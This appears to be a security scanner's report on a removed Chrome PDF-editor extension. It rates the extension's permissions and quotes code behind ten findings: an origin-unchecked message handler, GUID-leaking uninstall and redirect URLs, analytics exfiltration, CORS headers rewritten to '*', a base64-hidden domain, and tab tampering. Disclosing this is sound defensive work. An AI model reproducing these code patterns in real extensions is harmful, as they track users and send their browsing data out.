PDF Editor by PDFTab

ID: kfhfpbcfblieihlkiojbcbbdmlefbgfn

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
1.22.707
Size
0.06 MB
Rating
2.1/5
Reviews
7
Users
20,000
Type
Extension
Updated
Jul 20, 2022
Category
Productivity Workflow
Price
Free
Featured
Yes
Visibility
Unlisted
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
PDF Editor by PDFTabView Profile
Country
US
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Address
248 3rd Street #312 oakland, CA 94607 US
Total Extensions
1
Active
0
Obsolete
1
Listed
0
Unlisted
1
Total Users
20,000

Easy-to-use PDF Editor! Open .pdf files in editor to sign, edit or save files in other formats.

The Extension provides a PDF Editor to open PDF file in dynamic editor. The extension check for .pdf file extension in the URL of the file that are being opened in browser or downloaded. Extension Features 1. Automatically detects and open .PDF files in Editor 2. Presents a drag and drop option to open downloaded files in editor 3. Inserts Content script in browser PDF viewer to provide shortcut to open file in editor. Click on the extension icon in the browser toolbar to configure settings and disable/enable detection of .PDF files to be opened in editor. By installing this extension, you agree to the Terms of Service (https://pdftab-site.com/terms-of-service/index.html) and Privacy Policy (https://pdftab-site.com/privacy-policy/index.html)

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
downloads
Permission
High
This permission controls file downloads and accesses download history. Rated High because it can download malicious files, access sensitive downloaded documents, and track user download patterns.
Dangerous Permission Combination: scripting,cookies,webRequest
Risk Factor
High
Enables extensions to interact with scripts, modify files and downloads, and alter browsing history and bookmarks, potentially affecting data integrity and user control.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.

The popup uses an unrestricted window.onmessage handler with no origin check. Combined with popup.html embedding an iframe to https://pdf.live/popup, the remote page can arbitrarily read or write any chrome.storage key (including the user's persistent 'guid'), trigger declarativeNetRequest rule updates, and redirect the popup to any URL via event.data.url. This grants a remote third-party page privileged control over the extension's stored identifiers and navigation.

popup/popup.js (Line 1)
window.onmessage = async event => {  if (event && event.data && event.data.url) {    window.location.href = event.data.url;  }  switch (event.data.task) {    case "getSetting":      chrome.storage[event.data.name == "guid" ? "sync" : "local"].get(        [event.data.name],        obj => {          returnMessage(obj[event.data.name]);        }      );      break;    case "setSetting":      chrome.storage.local.set({          [event.data.name]: event.data.value        },        returnMessage      );      break;    case "updateRules":      chrome.runtime.sendMessage({        task: "updateRules"      }, returnMessage);      break;  }};

The extension popup is essentially a remote iframe pointing at https://pdf.live/popup, which is paired with a postMessage handler in popup.js that performs unauthenticated read/write to chrome.storage and arbitrary navigation. Any change on the remote pdf.live page can therefore reconfigure the extension at runtime — effectively remote-control of extension state without an update.

popup/popup.html (Line 11)
<body>  <iframe id="frame" frameborder="0" scrolling="no" src="https://pdf.live/popup">  </iframe>  <script type="text/javascript" src="popup.js" charset="utf-8"></script></body>

On install the worker reads an 'ext_config' cookie from pdftab-api.com (set by the publisher's marketing/landing page before install) and copies its arbitrary key/value pairs straight into chrome.storage, including the persistent 'guid'. This is a classic install-attribution / cross-site tracking handshake that links the user's pre-install browsing session to the extension's persistent identifier.

lib/ext.js (Line 71)
const getConfigCookie = async () => {  const cookies = await chrome.cookies.getAll({    domain: this.config.apiDomain,    name: CONFIG_COOKIE_NAME,  });  for (let i = 0; i < cookies.length; i++) {    const cookieObj = JSON.parse(cookies[i].value);    Object.keys(cookieObj)      .map(        async key =>          await setSetting(key, cookieObj[key], key === "guid")      );  }};

On uninstall the browser is forced to open a tracking URL that exfiltrates the persistent user GUID. The uninstallID 'config.uninstallID' is the obfuscated string '426280Ly9hcmNhZGV0YWIuY29t' (which contains the base64 of '//arcadetab.com', a domain unrelated to PDFTab), suggesting cross-promotion / affiliate hand-off to a third party at uninstall time.

lib/ext.js (Line 188)
const setUninstall = async () => {  const uninstallUrl = `https://uninstall.${this.config.apiDomain}/?id=${            this.config.uninstallID        }&guid=${await getSetting("guid", true)}`;  chrome.runtime.setUninstallURL(uninstallUrl, () => {});};

Every top-level navigation to any HTTPS .pdf URL is silently redirected to pdf.live/edit with the user's GUID, installDate, and source attached. This silently leaks the URL of every PDF the user opens (including private/internal/intranet PDFs) to the publisher's server along with a stable user identifier — a broad-scope traffic interception and tracking mechanism.

lib/dynamicRules.js (Line 42)
if (enablePDFRedirect) {  chrome.declarativeNetRequest.updateSessionRules({        removeRuleIds: [1, 2, 3],        addRules: [{              id: 1,              priority: 1,              action: {                type: "allow"              },              condition: {                regexFilter: "file:///.*\\.pdf(\\?.*|$)",                isUrlFilterCaseSensitive: false,                resourceTypes: ["main_frame"],              },            },            {              id: 2,              priority: 1,              action: {                type: "redirect",                redirect: {                  regexSubstitution: `https://${this.config.PDFDomain}/edit?url=\\0&guid=${guid}&installDate=${installDate}&source=${source}`,                },              },              condition: {                regexFilter: "https://.*\\.pdf(\\?.*|$)",                isUrlFilterCaseSensitive: false,                resourceTypes: ["main_frame"],              },            },

The worker injects a global declarativeNetRequest rule that rewrites the Access-Control-Allow-Origin header to '*' for every XHR ending in .pdf on every origin (<all_urls>). This deliberately disables the same-origin protection on PDF resources, allowing any web page the user visits to read PDFs from any domain (including authenticated/internal PDFs behind cookies) — a serious cross-origin policy weakening.

lib/dynamicRules.js (Line 10)
const responseHeaderRule = {  id: 4,  priority: 1,  action: {    type: "modifyHeaders",    responseHeaders: [{      header: "Access-Control-Allow-Origin",      operation: "set",      value: "*",    }, ],  },  condition: {    regexFilter: "^.*.pdf(\\?.*|$)",    isUrlFilterCaseSensitive: false,    resourceTypes: ["xmlhttprequest"],  },};chrome.declarativeNetRequest.updateSessionRules({  removeRuleIds: [responseHeaderRule.id],  addRules: [responseHeaderRule],});

Every PDF redirect and content-script click is exfiltrated to Google Analytics Measurement Protocol along with the persistent guid (as client_id), the origin host of the visited page (page_location/target), the original PDF URL (link_url), the user's source/tbid, and install_date. Combined with the rule that captures every HTTPS .pdf navigation, this constitutes systematic tracking of the user's PDF browsing activity tied to a stable identifier.

lib/ga.js (Line 5)
const GA_URL =  "https://www.google-analytics.com/mp/collect?api_secret=O9sXxm4UTYq6YLpgtd6pIA&measurement_id=G-QN3F4PLVYS";const track = async (action, url, target, isRedirect) => {  if (!target) target = "";  const installDate = await this.ext.getSetting("installDate");  const tbid = await this.ext.getSetting("tbid");  const guid = await this.ext.getSetting("guid", true);  const s = await this.ext.getSetting("source");  const source = s ? `${s}_pdftab_crx` : "pdftab_crx";  const payload = {    client_id: guid,    events: [{      name: isRedirect ? "pdf_redirect" : "click",      params: {        page_location: target,        label: action      },    }, ],    user_properties: {      source: {        value: source      },      tbid: {        value: tbid      },      install_date: {        value: installDate      },    },  };  if (url) payload.events[0].params.link_url = url;  await fetch(GA_URL, {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(payload),  });};

The 'uninstallID' string 426280Ly9hcmNhZGV0YWIuY29t embeds the base64 fragment 'Ly9hcmNhZGV0YWIuY29t' which decodes to '//arcadetab.com' — a domain disjoint from the extension's stated brand (pdftab/pdf.live). Hiding a third-party domain inside an opaque ID is a deliberate obfuscation pattern used by monetization SDKs to disguise the eventual destination of uninstall/redirect traffic.

worker.js (Line 6)
const ext = new extension();const config = {  apiDomain: "pdftab-api.com",  yID: "23",  uninstallID: "426280Ly9hcmNhZGV0YWIuY29t",  eType: "c",  queryParams: ["guid", "extId", "EType", "installDate"],  PDFDomain: "pdf.live",};

Immediately after install the worker locates the user's open Chrome Web Store listing tab and silently closes it, then locates the publisher's landing-page tab and rewrites its URL to add a #ext-installed hash. This is a classic conversion-pixel manipulation pattern used to hide review/uninstall surfaces and signal a successful install back to the partner page without user awareness.

lib/ext.js (Line 39)
const updateCWSAndLPTab = async () => {  if (await getSetting("location")) {    const cwsTabs = await chrome.tabs.query({      url: `*://chrome.google.com/webstore*${await getSetting(                    "extId"                )}*`,    });    for (const tab of cwsTabs) {      if (await getSetting(TY_COOKIE_NAME)) {        chrome.tabs.remove(tab.id);      }    }    const lpTab = await chrome.tabs.query({      url: `${await getSetting("location")}*`,    });    if (lpTab && lpTab[0] && lpTab[0].id) {      const updatedTab = await chrome.tabs.update(lpTab[0].id, {        url: updateHash(lpTab[0].url, "ext-installed"),      });    }  }  await openFirstRunPage();};

The worker programmatically injects content/viewer.js into any tab whose URL ends in .pdf across <all_urls>, including local file:// PDFs. The injected viewer.js then reads chrome.storage (guid/installDate/source) and adds DOM listeners on arbitrary pages to ship those identifiers and the page host out via the message-passing 'track' path. This is a broad cross-origin code injection / tracking pipeline.

lib/dynamicRules.js (Line 132)
const tabOnUpdateListener = async (tabId, changeInfo, tab) => {  if (tab.url && changeInfo.status === "complete") {    const url = new URL(tab.url);    if (      url.href.split(".")      .pop() == "pdf" &&      url.hostname !== this.config.PDFDomain &&      (url.protocol === "https:" ||        url.protocol === "file:" ||        url.protocol === "http:")    ) {      chrome.scripting.executeScript({        target: {          tabId: tab.id,          allFrames: false        },        files: ["content/viewer.js"],      });    }  }};

By severity

Critical1
High6
Medium3
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.22.70710

Files with findings

6 distinct paths — top paths by unique finding count:

  • lib/dynamicRules.js3
  • lib/ext.js3
  • lib/ga.js1
  • popup/popup.html1
  • popup/popup.js1
  • worker.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Privilege Escalation
critical
popup/popup.js (line 1)The popup uses an unrestricted window.onmessage handler with no origin check. Combined with popup.html embedding an iframe to https://pdf.live/popup, the remote page can arbitrarily read or write any chrome.storage ke…
2Data Exfiltration
high
lib/ext.js (line 188)On uninstall the browser is forced to open a tracking URL that exfiltrates the persistent user GUID. The uninstallID 'config.uninstallID' is the obfuscated string '426280Ly9hcmNhZGV0YWIuY29t' (which contains the base6…
3Network Interception
high
lib/dynamicRules.js (line 42)Every top-level navigation to any HTTPS .pdf URL is silently redirected to pdf.live/edit with the user's GUID, installDate, and source attached. This silently leaks the URL of every PDF the user opens (including priva…
4Network Interception
high
lib/dynamicRules.js (line 10)The worker injects a global declarativeNetRequest rule that rewrites the Access-Control-Allow-Origin header to '*' for every XHR ending in .pdf on every origin (<all_urls>). This deliberately disables the same-origin …
5Remote Code Loading
high
popup/popup.html (line 11)The extension popup is essentially a remote iframe pointing at https://pdf.live/popup, which is paired with a postMessage handler in popup.js that performs unauthenticated read/write to chrome.storage and arbitrary na…
6Tracking
high
lib/ext.js (line 71)On install the worker reads an 'ext_config' cookie from pdftab-api.com (set by the publisher's marketing/landing page before install) and copies its arbitrary key/value pairs straight into chrome.storage, including th…
7Unauthorized Data Collection
high
lib/ga.js (line 5)Every PDF redirect and content-script click is exfiltrated to Google Analytics Measurement Protocol along with the persistent guid (as client_id), the origin host of the visited page (page_location/target), the origin…
8Code Injection
medium
lib/dynamicRules.js (line 132)The worker programmatically injects content/viewer.js into any tab whose URL ends in .pdf across <all_urls>, including local file:// PDFs. The injected viewer.js then reads chrome.storage (guid/installDate/source) and…
9Obfuscation
medium
worker.js (line 6)The 'uninstallID' string 426280Ly9hcmNhZGV0YWIuY29t embeds the base64 fragment 'Ly9hcmNhZGV0YWIuY29t' which decodes to '//arcadetab.com' — a domain disjoint from the extension's stated brand (pdftab/pdf.live). Hiding …
10Tracking
medium
lib/ext.js (line 39)Immediately after install the worker locates the user's open Chrome Web Store listing tab and silently closes it, then locates the publisher's landing-page tab and rewrites its URL to add a #ext-installed hash. This i…
URLs
12
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

pdf.live-https://pdf.live
${this.config.pdfdomain}/edithttps://${this.config.PDFDomain}/edit?url=\\0&guid=${guid}&installDate=${installDate}&source=${source}`,
.*//.pdf(//https://.*\\.pdf(\\?.*|$
pdf.live/edithttps://pdf.live/edit?url=*
${this.config.pdfdomain}/edithttps://${this.config.PDFDomain}/edit?url=`
*/*.pdfhttps://*/*.pdf
${this.config.pdfdomain}/signup%60https://${this.config.PDFDomain}/signup`
api.${this.config.apidomain}/api/v2/json/installhttps://api.${this.config.apiDomain}/api/v2/json/install?`
uninstall.${this.config.apidomain}-https://uninstall.${this.config.apiDomain}/?id=${
www.google-analytics.com/mp/collecthttps://www.google-analytics.com/mp/collect?api_secret=O9sXxm4UTYq6YLpgtd6pIA&measurement_id=G-QN3F4PLVYS
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1.22.707
Latest
0.06 MB
Malicious
10
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.